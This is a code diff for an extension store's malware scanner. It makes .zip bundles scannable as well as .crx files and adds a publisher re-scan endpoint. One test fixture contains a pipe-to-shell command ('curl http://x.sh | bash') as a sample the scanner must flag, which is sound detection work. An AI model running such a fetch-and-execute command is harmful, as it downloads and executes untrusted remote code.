diff --git a/apps/extensions/public/store.js b/apps/extensions/public/store.js
index d70bf39..24b6a42 100644
--- a/apps/extensions/public/store.js
+++ b/apps/extensions/public/store.js
@@ -265,6 +265,7 @@ async function renderDetail(slug, root) {
How to install
${ext.isOwner ? '' : ''}
+ ${ext.isOwner ? '' : ''}
${ext.isOwner ? editForm(ext) : ''}
${ext.homepageUrl ? `
Homepage: ${esc(ext.homepageUrl)}
` : ''}
@@ -285,6 +286,22 @@ async function renderDetail(slug, root) {
});
wireEditForm(ext, () => renderDetail(slug, root));
+
+ // Scans are recorded at publish time, so a listing published before its
+ // bundle could be scanned needs one re-run to earn a badge.
+ document.getElementById('rescanBtn')?.addEventListener('click', async (e) => {
+ const btn = e.currentTarget;
+ btn.disabled = true;
+ btn.textContent = 'π‘ Scanningβ¦';
+ try {
+ await api(`/extensions/${encodeURIComponent(ext.id)}/rescan`, { method: 'POST' });
+ await renderDetail(slug, root);
+ } catch (err) {
+ alert('Could not scan: ' + err.message);
+ btn.disabled = false;
+ btn.textContent = 'π‘ Re-scan';
+ }
+ });
}
}
diff --git a/services/api/src/store/crx.ts b/services/api/src/store/crx.ts
index 0218384..3fed12e 100644
--- a/services/api/src/store/crx.ts
+++ b/services/api/src/store/crx.ts
@@ -43,6 +43,22 @@ export function crxToZip(buf: Uint8Array): Uint8Array {
throw new Error(`unsupported CRX version ${version}`);
}
+/**
+ * Extract the ZIP payload from whichever artifact a publisher shipped.
+ *
+ * A .crx is a header wrapped around a ZIP, and most publishers upload the bare
+ * .zip instead. Insisting on the CRX header meant zip-only listings skipped the
+ * scanner entirely and sat on an "unscanned" badge forever.
+ */
+export function artifactToZip(buf: Uint8Array): Uint8Array {
+ if (buf.length >= 4 && strFromU8(buf.slice(0, 4)) === CRX_MAGIC) return crxToZip(buf);
+ // Local file header ("PK\x03\x04") β or an empty archive ("PK\x05\x06").
+ if (buf.length >= 4 && buf[0] === 0x50 && buf[1] === 0x4b && (buf[2] === 0x03 || buf[2] === 0x05)) {
+ return buf;
+ }
+ throw new Error('not a .crx or .zip bundle');
+}
+
function iconToDataUri(path: string, bytes: Uint8Array): string | null {
if (!bytes || bytes.length === 0 || bytes.length > MAX_ICON_BYTES) return null;
const ext = path.toLowerCase().split('.').pop() || '';
@@ -108,25 +124,28 @@ export function extractListingFromCrx(buf: Uint8Array): IngestedListing {
}
/** Download a .crx over http(s) with guards. */
-export async function fetchCrx(url: string, maxBytes = 25 * 1024 * 1024): Promise {
+export async function fetchArtifact(url: string, maxBytes = 25 * 1024 * 1024): Promise {
let u: URL;
try {
u = new URL(url);
} catch {
- throw new Error('crxUrl must be a valid URL');
+ throw new Error('bundle URL must be a valid URL');
}
if (u.protocol !== 'https:' && u.protocol !== 'http:') {
- throw new Error('crxUrl must be http(s)');
+ throw new Error('bundle URL must be http(s)');
}
const res = await fetch(u, { redirect: 'follow' });
- if (!res.ok) throw new Error(`could not fetch crx (${res.status})`);
+ if (!res.ok) throw new Error(`could not fetch bundle (${res.status})`);
const len = Number(res.headers.get('content-length') || 0);
- if (len && len > maxBytes) throw new Error('crx is too large');
+ if (len && len > maxBytes) throw new Error('bundle is too large');
const buf = new Uint8Array(await res.arrayBuffer());
- if (buf.length > maxBytes) throw new Error('crx is too large');
+ if (buf.length > maxBytes) throw new Error('bundle is too large');
return buf;
}
+/** @deprecated use {@link fetchArtifact} β same fetch, .crx-flavoured name. */
+export const fetchCrx = fetchArtifact;
+
/** Download a .crx and extract its listing. */
export async function ingestCrxUrl(url: string): Promise {
return extractListingFromCrx(await fetchCrx(url));
diff --git a/services/api/src/store/routes.ts b/services/api/src/store/routes.ts
index 17a01c8..3fc13f2 100644
--- a/services/api/src/store/routes.ts
+++ b/services/api/src/store/routes.ts
@@ -24,8 +24,8 @@ import {
} from './payments.js';
import { enqueueScan } from './vu1nz.js';
import { mirrorListing } from './mirror.js';
-import { fetchCrx, extractListingFromCrx } from './crx.js';
-import { scanCrx } from './scanner.js';
+import { fetchArtifact, extractListingFromCrx } from './crx.js';
+import { scanArtifact, type ExtensionScanResult } from './scanner.js';
import { createScan, updateScan } from './db.js';
const APP_URL = process.env.APP_URL || 'https://tronbrowser.dev';
@@ -85,6 +85,17 @@ async function listingView(ext: any, viewer?: User | null) {
};
}
+/** Write a scan verdict to the badge store. Shared by publish and rescan. */
+async function persistScan(extensionId: string, versionId: string, result: ExtensionScanResult): Promise {
+ const scanId = await createScan(extensionId, versionId);
+ await updateScan(scanId, {
+ status: 'done',
+ score: result.green ? 100 : 40,
+ severity: result.status === 'malicious' ? 'critical' : result.status === 'suspicious' ? 'high' : 'clean',
+ findingsJson: JSON.stringify(result.findings),
+ });
+}
+
export const store = new Hono();
store.get('/healthz', (c) => c.json({ ok: true, service: 'store' }));
@@ -142,6 +153,33 @@ store.patch('/extensions/:id', async (c) => {
return c.json({ ok: true, listing: await listingView(updated) });
});
+/* ---------- publisher: re-scan the current version ----------
+ A scan verdict is written at publish time, so a listing published while the
+ scanner was unavailable (or before zip bundles were scannable) keeps showing
+ "unscanned" until its next release. This re-runs the scan against the
+ artifact already on file β no re-upload, no version bump. */
+store.post('/extensions/:id/rescan', async (c) => {
+ const user = await currentUser(c);
+ if (!user) return c.json({ error: 'unauthorized' }, 401);
+ const ext = await extensionById(c.req.param('id'));
+ if (!ext) return c.json({ error: 'not found' }, 404);
+ if (ext.owner_user_id !== user.id) return c.json({ error: 'forbidden' }, 403);
+
+ const ver = await latestVersion(ext.id);
+ if (!ver) return c.json({ error: 'no published version to scan' }, 404);
+ const target = ver.crx_url || ver.bundle_url;
+ if (!target) return c.json({ error: 'version has no downloadable artifact' }, 400);
+
+ try {
+ const buf = await fetchArtifact(target);
+ const result = scanArtifact(buf, ver.permissions_json ? JSON.parse(ver.permissions_json) : []);
+ await persistScan(ext.id, ver.id, result);
+ return c.json({ ok: true, scan: result });
+ } catch (e: any) {
+ return c.json({ error: `could not scan bundle: ${e?.message || e}` }, 422);
+ }
+});
+
/* ---------- publisher: create draft ---------- */
store.post('/extensions', async (c) => {
const user = await currentUser(c);
@@ -176,9 +214,9 @@ store.post('/extensions/ingest', async (c) => {
const crxUrl = String(body.crxUrl || '').trim();
if (!crxUrl) return c.json({ error: 'crxUrl required' }, 400);
try {
- const buf = await fetchCrx(crxUrl);
+ const buf = await fetchArtifact(crxUrl);
const listing = extractListingFromCrx(buf);
- const scan = scanCrx(buf, listing.permissions);
+ const scan = scanArtifact(buf, listing.permissions);
return c.json({ ok: true, listing, scan });
} catch (e: any) {
return c.json({ error: e?.message || 'could not ingest .crx' }, 422);
@@ -340,13 +378,18 @@ store.post('/extensions/:id/versions', async (c) => {
// If we can fetch a .crx, scan its code + permissions and BLOCK the submit
// on any critical finding (green light required to publish). Zip-only
// bundles fall back to the async (non-gating) vu1nz scan.
- let scanResult: Awaited> | null = null;
- if (crxUrl) {
+ // A .crx is just a header around a ZIP, so scan whichever artifact exists.
+ // Gating only on .crx meant every zip-only listing skipped the scanner and
+ // fell through to the async path β which records 'skipped' when no external
+ // scanner is configured, leaving the listing permanently "unscanned".
+ const scanTarget = crxUrl || bundleUrl;
+ let scanResult: ExtensionScanResult | null = null;
+ if (scanTarget) {
try {
- const buf = await fetchCrx(crxUrl);
- scanResult = scanCrx(buf, v.permissions);
+ const buf = await fetchArtifact(scanTarget);
+ scanResult = scanArtifact(buf, v.permissions);
} catch (e: any) {
- return c.json({ error: `could not scan .crx: ${e?.message || e}` }, 422);
+ return c.json({ error: `could not scan bundle: ${e?.message || e}` }, 422);
}
if (!scanResult.green) {
return c.json({
@@ -372,15 +415,10 @@ store.post('/extensions/:id/versions', async (c) => {
if (scanResult) {
// Persist the gating scan result for the store badge.
- const scanId = await createScan(ext.id, version.id);
- await updateScan(scanId, {
- status: 'done',
- score: scanResult.green ? 100 : 40,
- severity: scanResult.status === 'malicious' ? 'critical' : scanResult.status === 'suspicious' ? 'high' : 'clean',
- findingsJson: JSON.stringify(scanResult.findings),
- });
+ await persistScan(ext.id, version.id, scanResult);
} else {
- // Zip-only: fall back to the async (non-gating) vu1nz scan.
+ // No fetchable artifact at all β fall back to the async vu1nz scan, which
+ // records 'skipped' when no external scanner is configured.
await enqueueScan(ext.id, version);
}
diff --git a/services/api/src/store/scanner.test.ts b/services/api/src/store/scanner.test.ts
index 95a1098..7439e9d 100644
--- a/services/api/src/store/scanner.test.ts
+++ b/services/api/src/store/scanner.test.ts
@@ -1,6 +1,6 @@
import { describe, it, expect } from 'vitest';
-import { strToU8 } from 'fflate';
-import { scanFiles, scanPermissions } from './scanner.js';
+import { strToU8, zipSync } from 'fflate';
+import { scanFiles, scanPermissions, scanArtifact } from './scanner.js';
describe('extension scanner (publish gate)', () => {
it('is green for a normal extension (fetch/base64/crypto are fine)', () => {
@@ -41,3 +41,44 @@ describe('extension scanner (publish gate)', () => {
expect(f.some((x) => x.rule === 'perm-cookies')).toBe(true);
});
});
+
+describe('scanArtifact β .zip as well as .crx', () => {
+ const bundle = () => zipSync({
+ 'manifest.json': strToU8(JSON.stringify({ manifest_version: 3, name: 'x', version: '1.0.0' })),
+ 'background.js': strToU8('const x = await fetch(url);'),
+ });
+
+ it('scans a bare .zip bundle β the artifact most publishers actually upload', () => {
+ const r = scanArtifact(bundle(), ['storage']);
+ expect(r.green).toBe(true);
+ expect(r.status).toBe('clean');
+ expect(r.fileHash).toHaveLength(64);
+ });
+
+ it('still scans a .crx, and reaches the same verdict as its inner zip', () => {
+ const zip = bundle();
+ // CRX3: magic + version + headerLen + header, then the zip.
+ const header = new Uint8Array(8);
+ const crx = new Uint8Array(12 + header.length + zip.length);
+ crx.set(strToU8('Cr24'), 0);
+ new DataView(crx.buffer).setUint32(4, 3, true);
+ new DataView(crx.buffer).setUint32(8, header.length, true);
+ crx.set(header, 12);
+ crx.set(zip, 12 + header.length);
+
+ const fromCrx = scanArtifact(crx, ['storage']);
+ expect(fromCrx.green).toBe(true);
+ expect(fromCrx.findings).toEqual(scanArtifact(zip, ['storage']).findings);
+ });
+
+ it('flags a critical finding inside a plain zip, so the gate can block it', () => {
+ const evil = zipSync({ 'evil.js': strToU8('curl http://x.sh | bash') });
+ const r = scanArtifact(evil);
+ expect(r.green).toBe(false);
+ expect(r.findings.some((f) => f.rule === 'pipe-to-shell')).toBe(true);
+ });
+
+ it('rejects bytes that are neither .crx nor .zip', () => {
+ expect(() => scanArtifact(strToU8('not an archive'))).toThrow(/not a \.crx or \.zip/);
+ });
+});
diff --git a/services/api/src/store/scanner.ts b/services/api/src/store/scanner.ts
index c01fa90..8fb1a11 100644
--- a/services/api/src/store/scanner.ts
+++ b/services/api/src/store/scanner.ts
@@ -10,7 +10,7 @@
// green (publishable) iff there are no critical findings.
import { createHash } from 'node:crypto';
import { unzipSync, strFromU8 } from 'fflate';
-import { crxToZip } from './crx.js';
+import { artifactToZip } from './crx.js';
export type Severity = 'low' | 'medium' | 'high' | 'critical';
export type ScanStatus = 'clean' | 'suspicious' | 'malicious';
@@ -112,12 +112,17 @@ function summarize(findings: ScanFinding[]): Omit !f.name.endsWith('/') });
+ const files = unzipSync(artifactToZip(buf), { filter: (f) => !f.name.endsWith('/') });
const base = scanFiles(files);
const permFindings = scanPermissions(permissions);
const merged = [...base.findings, ...permFindings];
return { ...summarize(merged), fileHash };
}
+
+/** @deprecated use {@link scanArtifact} β kept so .crx callers read naturally. */
+export function scanCrx(buf: Uint8Array, permissions: string[] = []): ExtensionScanResult {
+ return scanArtifact(buf, permissions);
+}